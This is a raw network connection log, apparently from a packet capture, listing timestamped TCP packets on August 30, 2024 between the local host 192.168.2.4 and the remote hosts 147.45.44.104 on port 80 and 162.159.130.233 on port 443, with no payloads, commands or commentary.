Aug 30, 2024 06:17:05.550674915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.550685883 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.550695896 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.550710917 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.550721884 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.550723076 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.550736904 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.550759077 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.550853968 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.550863981 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.550873995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.550884008 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.550894976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.550900936 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.550905943 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.550916910 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.550916910 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.550930023 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.550940037 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.550946951 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.550956964 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.550977945 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.550980091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551039934 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551074028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551085949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551095963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551106930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551117897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551139116 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551139116 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551173925 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551202059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551213026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551223040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551234961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551244020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551244974 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551254988 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551259995 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551265955 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551278114 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551280022 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551287889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551300049 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551305056 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551310062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551320076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551323891 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551353931 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551353931 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551506042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551517963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551527023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551537991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551569939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551569939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551649094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551660061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551673889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551687956 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551697969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551707983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551712990 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551712990 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551718950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551728964 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551739931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551750898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551760912 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551760912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551760912 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551760912 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551772118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551781893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551786900 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551793098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551814079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551814079 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551830053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551836014 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551839113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551850080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551861048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551872015 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551872015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551872015 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551882029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551892996 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551893950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551903963 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551904917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551915884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551927090 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551937103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551947117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551951885 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551951885 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551958084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551969051 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551980019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551990986 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.551996946 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.551996946 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.552021027 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.552073956 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.552519083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552530050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552539110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552548885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552560091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552571058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552582026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552587032 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.552587032 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.552598000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552608967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552615881 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.552615881 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.552618027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552630901 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552640915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552650928 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552660942 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552666903 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.552666903 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.552673101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552674055 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.552683115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552694082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552695990 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.552704096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552715063 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552721024 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.552743912 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.552743912 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.552921057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552932024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552941084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552951097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552962065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552973032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.552989960 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.552989960 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.553018093 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.553056002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553066969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553076029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553086996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553102970 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.553102970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553114891 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.553118944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553129911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553141117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553150892 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553160906 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.553160906 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.553162098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553172112 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553183079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553193092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553199053 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.553204060 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553214073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553225994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553231001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.553231001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.553236961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553247929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553253889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.553256989 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553287029 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.553297043 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.553566933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553577900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553586960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553597927 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553608894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553620100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.553652048 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.553652048 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.553652048 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.596761942 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.596774101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.596791029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.596801043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.596816063 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.596853971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.596869946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.596882105 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.596889019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.596957922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.596957922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.597296953 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.597316980 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.597372055 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.597387075 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.597431898 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.597688913 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.597702980 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.597752094 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.597758055 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.597793102 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.597985983 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.597999096 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.598047972 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.598054886 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.598088980 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.598371983 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.598387003 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.598436117 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.598443031 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.598474026 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.598638058 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.598651886 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.598701954 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.598709106 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.598737001 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.599041939 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.599056959 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.599102974 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.599109888 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.599124908 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.599143028 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.599443913 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.599457979 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.599509954 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.599515915 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.599555969 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.599831104 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.599844933 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.599891901 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.599899054 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.599935055 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.629126072 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629142046 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629148006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629158020 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629163980 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629168987 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629179001 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629319906 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629342079 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629349947 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629359007 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.629447937 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.629492998 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629502058 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629511118 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629518986 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629548073 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.629554987 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629564047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629573107 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629584074 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629584074 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.629594088 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629631996 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.629679918 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.629687071 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629697084 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629704952 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629714966 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629724979 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629745007 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.629807949 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.629826069 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629834890 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629843950 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629853964 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629870892 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.629897118 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.629920959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629930973 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629940033 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629951000 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629961967 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.629962921 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.629972935 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.629976034 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.630002975 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.630023956 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.630032063 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.630040884 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.630078077 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.631614923 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.631623983 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.631629944 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.631674051 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.631675959 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.631683111 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.631691933 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.631701946 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.631707907 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.631736994 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.631819010 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.631828070 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.631836891 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.631844997 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.631860971 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.631865978 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.631870985 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.631879091 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.631880999 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.631891012 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.631901026 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.631907940 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.631910086 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.631931067 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.631949902 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.632050991 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.632061958 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.632071018 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.632078886 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.632102013 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.632116079 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.636759043 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.636816978 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.636857033 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.636864901 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.636898994 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.636900902 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.636910915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.636953115 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.636970043 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.636979103 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.636987925 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637017012 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637053013 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637062073 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637070894 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637084961 CEST	80	49735	147.45.44.104	192.168.2.4
